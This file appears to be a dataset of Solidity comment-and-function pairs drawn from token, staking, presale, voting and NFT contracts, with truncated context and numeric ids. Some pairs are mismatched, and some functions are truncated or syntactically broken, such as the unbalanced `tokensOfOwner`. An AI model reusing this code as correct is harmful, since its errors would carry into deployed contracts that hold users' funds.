TO DO:Deposit a stake that locks until both players agree to a resultrequire that the stake is greater than the odds wager...odds = _odds;
function initiateBet(uint _wager) public{ wager = _wager; Player1 = msg.sender; state = State.Created; emit BetInitiated(); }
13,000,302
// File: contracts\utils\EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for exis...
See {IERC721-transferFrom}./solhint-disable-next-line max-line-length _transfer(from, to, 0); _transfer(from, to, 1); _transfer(from, to, 2);
function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); }
391,325
/* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in...
ITransferProxy Set Protocol The ITransferProxy interface provides a light-weight, structured way to interact with the TransferProxy contract from another contract./
interface ITransferProxy { function transfer( address _token, uint256 _quantity, address _from, address _to ) external; function batchTransfer( address[] calldata _tokens, uint256[] calldata _quantities, address _from, address _to ...
5,347,860
/* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, ...
A contract with a `die()` function.
interface IKillable { function die() external; }
15,822,060
pragma solidity ^0.4.16; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `...
minContribution = 9.9 ether;
function ChangeCoinPresale() { startTimestamp = 1504785900; endTimestamp = 1504789200; rate = 500; hardwareWallet = 0x12b97A56F63F8CF75052B5b816d7Ad9e794B8198; token = new ChangeCoin(); minContribution = 0 ether; hardcap = 50000 ether; require(startTimestamp >= now); require(endTi...
15,261,136
/** *Submitted for verification at Etherscan.io on 2020-10-17 */ pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, t...
Determine the prior number of votes for an account as of a block number Block number must be a finalized block or else this function will revert to prevent misinformation. account The address of the account to check blockNumber The block number to get the vote balance at return The number of votes the account had as...
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "upcore::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { retur...
2,365,701
pragma solidity ^0.6.0; ...
inject NONSTANDARD NAMING
function LOG40(address p0, address p1, string memory p2, address p3) internal view {
1,019,207
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view ret...
Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number;...
60,450
pragma solidity ^0.8.0; import "@c-layer/common/contracts/call/DelegateCall.sol"; import "@c-layer/common/contracts/call/DelegateCallView.sol"; import "../interface/IVotingSessionManager.sol"; import "./VotingSessionStorage.sol"; /** * @title VotingSessionManager * @dev VotingSessionManager contract * @author Cyr...
archiveSession/
function archiveSession() public override returns (bool) { return address(delegate_)._delegateCall(); }
2,475,455
./full_match/1/0x45dE3826AF8b2431afe308a72eD064dd74C965bf/sources/home/ubuntu/environment/contracts/contracts/base/FxBaseRootTunnel.sol
checking if exit has already been processed unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) first 2 nibbles are dropped while generating nibble array this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) so converting to nibble array and the...
function _validateAndExtractMessage(bytes memory inputData) internal returns (bytes memory) { RLPReader.RLPItem[] memory inputDataRLPList = inputData .toRlpItem() .toList(); bytes32 exitHash = keccak256( abi.encodePacked( Merkl...
9,718,273
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage....
Return an empty array
function tokensOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0...
1,187,490
./full_match/137/0xef217578f772e7b9f06866F4B997d085aCB4540E/sources/src/metadata/AllowListMetadataRenderer.sol
Token URI information getter tokenId to get uri for return contract uri (if set) For open editions, set max supply to 0 for renderer to remove the edition max number This will be added back on once the open edition is "finalized"
function tokenURI(uint256 tokenId) external view override returns (string memory) { address target = msg.sender; TokenEditionInfo memory info = tokenInfos[target]; IERC721Drop media = IERC721Drop(target); uint256 maxSupply = media.saleDetails().ma...
4,698,517
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; // Uncomment if needed. // import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@ope...
Set new reward per block. rewardIdx which rewardInfo to modify _rewardPerBlock new reward per block
function modifyRewardPerBlock(uint256 rewardIdx, uint256 _rewardPerBlock) external onlyOwner { require(rewardIdx < rewardInfosLen, "OUT OF REWARD INFO RANGE"); _updateGlobalStatus(); rewardInfos[rewardIdx].rewardPerBlock = _rewardPerBlock; emit ModifyRewardPerBloc...
11,915,421
/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt * ** Code Modified by : TokenMagic ** Change Log: *** Solidity version upgra...
Get the amount of unsold tokens allocated to this contract;/
function getTokensLeft() public view returns (uint) { return token.allowance(beneficiary, this); }
1,815,210
pragma solidity ^0.5.17; // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constan...
Reveal `_outcome` vote of `_voter` for vote `_voteId` _voteId ID of the vote instance to reveal a vote of _voter Address of the voter to reveal a vote for _outcome Outcome revealed by the voter _salt Salt to decrypt and validate the committed vote of the voter/
function reveal(uint256 _voteId, address _voter, uint8 _outcome, bytes32 _salt) external voteExists(_voteId) { Vote storage vote = voteRecords[_voteId]; CastVote storage castVote = vote.votes[_voter]; _checkValidSalt(castVote, _outcome, _salt); require(_isValidOutcome(vote, _outcome)...
6,846,808
./full_match/1313161554/0x8e5dff1c121F661971d02950698f8c5EFc3DfA78/sources/DonaswapFactory.sol
this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) { uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); ...
13,233,297
./partial_match/1/0xEbc165ACfedDf96a32C3aCaf01585647fA3239d0/sources/RenovaAvatar.sol
@inheritdoc IRenovaAvatarBase
function refreshAllMetadata() external override onlyOwner { emit BatchMetadataUpdate(1, type(uint256).max); }
15,741,666
./full_match/1/0x9259746Be26f8Bd66D12D13671Dddc3561AD970d/sources/contracts/Solid.sol
return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased if only one cycle is selected, no discount is applied Constants for calculations gets the number of periods in a year for a given period length, rounding odd number edgecases e.g, max...
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) { if (_periods == 1) return _price; uint256 SECONDS_IN_A_YEAR = 31556952; uint256 DISCOUNT_BASE = 10**5; uint256 PRECISION = 10**9; uint256 maxPeriods = (SEC...
2,972,132
./full_match/5/0x3F8149dE673F4A37e8C6D7366b4E205ec5388B99/sources/project_/contracts/Implementation/SimpleAccountFactory.sol
create an account, and return its address. returns the address even if the account is already deployed. Note that during UserOperation execution, this method is called only if the account is not deployed. This method returns an existing account address so that entryPoint.getSenderAddress() would work even after account...
function createAccount(address owner, uint256 salt) public returns (SimpleAccount ret) { address addr = getAddress(owner, salt); uint256 codeSize = addr.code.length; if (codeSize > 0) { return SimpleAccount(payable(addr)); } ret = SimpleAccount...
1,938,135
./full_match/80001/0x65196387dc2384137D8fD12eD7dF324d90BF4bD9/sources/contracts/WazaaV2Router02.sol
refund dust eth, if any
function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) { (amountTok...
5,594,678
./partial_match/56/0x4D62f7a14422D6A038bb8f7e9b63c584835df12B/sources/BankrollNetworkStack.sol
Liquifies tokens to eth. setup data data setup burn the sold tokens update dividends trackerdrip and buybacks fire eventdistribute
function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _undividedDividends = SafeMath.mul(_amountOfTokens, exitFee_) / 100; uint256 _taxedeth = SafeMath.sub(_a...
11,161,827
/** *Submitted for verification at Etherscan.io on 2021-07-20 */ // File: @openzeppelin/contracts/utils/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in ov...
try to initialize an epoch. if it can't it fails if it fails either user either a Swapp account will init not init epochs exit if there is no stake on the epoch
function _harvest (uint128 epochId) internal returns (uint) { if (lastInitializedEpoch < epochId) { _initEpoch(epochId); } if (epochs[epochId] == 0) { return 0; } uint128 endEpoch = _staking.stakeEndEpoch(msg.sender); if (epochId >= en...
10,991,878
./full_match/80001/0x11F187277AfA5952dE92F7A477d87f1F9d594BB1/sources/project_/contracts/polygon/Manager.sol
Creates new Artist Only ArtistManager function. Emits {NewArtist} event. requires: `_userID` can not be empty string `_userWalletAddress` can not be zero-address does not allow to create Artist with `_userID` which already exists _userID ID of new Artist _userWalletAddress wallet address of new A...
function registerArtist(string memory _userID, address _userWalletAddress) external whenNotPaused onlyArtistManager returns (bool) { require( bytes(_userID).length > 0, "Manager: `_userID` can not be empty string" ); require( ...
5,609,980
pragma solidity ^0.4.18; /* ==================================================================== */ /* Copyright (c) 2018 The MagicAcademy Project. All rights reserved. /* /* https://www.magicacademy.io One of the world&#39;s first idle strategy games of blockchain /* /* authors <span class="__cf_email__" data-cfe...
withraw all PLAT by dev
function withdrawToken(uint256 amount) external onlyOwner { uint256 balance = tokenContract.balanceOf(this); require(balance > 0 && balance >= amount); cards.setCoinBalance(msg.sender,amount,1,false); tokenContract.transfer(msg.sender, amount); }
15,452,578
./full_match/137/0xb58A523E9a4dF61CbBfc64F9936c67FaAD3eB974/sources/contracts/pixel.sol
Check balance of pixel
function checkUserBalance(address account) public view returns (uint) { return myContract.balanceOf(account); }
3,741,372
./full_match/3/0xB4B5AdC0aa45BF1Cf696b25e3657A80948e39020/sources/browser/DonorgMain.sol
removes a patient from the waiting list
{ uint j=a; function popPatient(uint a) public if(a>0){ j=a-1; } while (j <= rQ) { if( j==rQ ) { delete Recieve[j] ; ...
8,104,791
./partial_match/1/0x9a8eB92278E1500B1F7b32CbD21874B6F275d623/sources/cVault_WBTC.sol
No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares, bool _autoWithdrawFromStakingPool) public { if (_autoWithdrawFromStakingPool) { IStakingRewards(stakingPool).withdrawForUserByCVault(_shares, msg.sender); IStakingRewards(stakingPool).getRewardFor(msg.sender); } uint r = (balance().mul...
9,292,755
pragma solidity ^0.5.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimiz...
/ Documents /
function getDocument(bytes32 name) external view returns (string memory, bytes32); function setDocument(bytes32 name, string calldata uri, bytes32 documentHash) external; function balanceOfByPartition(bytes32 partition, address tokenHolder) external view returns (uint256); function partitionsOf(address tokenHo...
10,074,997
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 ...
Contructor that gives msg.sender all of existing tokens./
function Greenbit() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; }
458,133
./partial_match/1/0xA60E18145BED6BA4a269fA5b445695B37101947f/sources/contracts/OnChainPoll.sol
Retrieves the address of the POAP contract. return POAPContract The address of the POAP contract./
function getPOAPAddress() external view override returns (address) { return address(POAPContract); }
9,154,010
...
inject NONSTANDARD NAMING
function BALANCEOF774(address account) external view returns (uint) {
938,106
/** *Submitted for verification at Etherscan.io on 2022-01-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes call...
See {BEP20-balanceOf}./
function balanceOf(address account) external view override returns (uint256) { return _balances[account]; }
2,083,801
// SPDX-License-Identifier: MIT // solhint-disable not-rely-on-time, reason-string, no-inline-assembly pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../interfaces/IJoysStaking.sol"; import "./Stakeholder.sol"; /** * @dev Main staking co...
Sends native currency to increase staking deposit. The total amount of position must be greater than the minimum limit. If stakeholder limit is exceeded, need to outbid stake of the worst stakeholder. return success/
function deposit() external payable nonReentrant override returns (bool success) { require(msg.value > 0, "JoysStaking: value must not be zero"); _recalculateStaker(msg.sender); emit Deposit(msg.sender, msg.value, block.timestamp); if (_isStakeholder(msg.sender)) { _in...
1,044,605
./partial_match/1/0xBD0D47d7EcF0978F13878615635F3D3Dc5Fecde1/sources/KEKToken.sol
Public function that burns an amount of the token from a given account can be used from account owner/
function burn(address account, uint256 amount) external { _burn(account, amount); }
2,634,048
// SPDX-License-Identifier: MIT pragma solidity >= 0.8.4; import "./IERC721Receiver.sol"; import "./IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/S...
Query root NFT id by NFT id. Requirements: - `_NFT_id`: The id of the NFT queryed. Return a bool value to indicate wether this NFT is root NFT./
function getRootNFTIdByNFTId(uint64 _NFT_id) public pure returns (uint64) { return ((_NFT_id>>32)<<32 | uint64(1)); }
1,067,860
// SPDX-License-Identifier: MIT // NIFTSY protocol for NFT. Wrapper - main protocol contract pragma solidity ^0.8.6; import "./WrapperBase.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; /** * @title ERC-721 Non-Fungible Token Wrapper * @dev For wrpap existing ERC721 with ability add E...
Function returns array with info about ERC20 colleteral of wrapped token _wrappedId new protocol NFT id from this contarct/
function getERC20Collateral(uint256 _wrappedId) external view returns (ERC20Collateral[] memory) { return erc20Collateral[_wrappedId]; }
6,001,907
/** *Submitted for verification at Etherscan.io on 2021-11-17 */ pragma solidity ^0.8.5; // SPDX-License-Identifier: MIT interface IERC20 { /** * @dev Returns the total tokens supply */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens ow...
set's address/
function setCharityAddress(address payable charityAddress) external onlyOwner { _charityAddress = charityAddress; }
6,719,393
pragma solidity ^0.8.4; // These custom errors unfortunately do not display in the Truffle Console // https://github.com/trufflesuite/truffle/issues/4123 /// Preferences not found for this address + H(key) combination. /// @param userAddress Address used. /// @param hashKey Hashed key used. error PreferencesNotFound...
Gets list of approved addresses for address + H(key) combination, only callable on own preferences
function getApprovedAddresses(string memory keyHash) public view returns(address[] memory addresses){ if(keyInUse(msg.sender,keyHash)){ bytes memory keyBytes = abi.encodePacked(keyHash); return(approvedAddresses[abi.encodePacked(msg.sender, keyBytes)]); } else{ revert K...
13,055,968
./full_match/1/0xCa6eb1818eAFB1EFb94b0DC2c84Ef2c2D1A6BC9C/sources/contracts/Zentanode.sol
Get number of wallets allowed./
function getTotalWallets() public view returns (uint256) { return node.wallets; }
4,970,716
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarv...
Liquidation ratio for the given ilk returned in [ray] https:github.com/makerdao/dss/blob/master/src/spot.solL45
function getLiquidationRatio(bytes32 ilk) public view returns (uint256) { (, uint256 liquidationRatio) = spotter.ilks(ilk); return liquidationRatio; }
508,307
./full_match/84531/0xD920Cd72ea026c9ce7620d19245A773a972c555a/sources/lib/dynamic-contracts/src/lib/BaseRouterStorage.sol
@custom:storage-location erc7201:base.router.storage
struct Data { mapping(bytes4 => bool) functionMap; mapping(string => bool) extensionMap;
14,307,552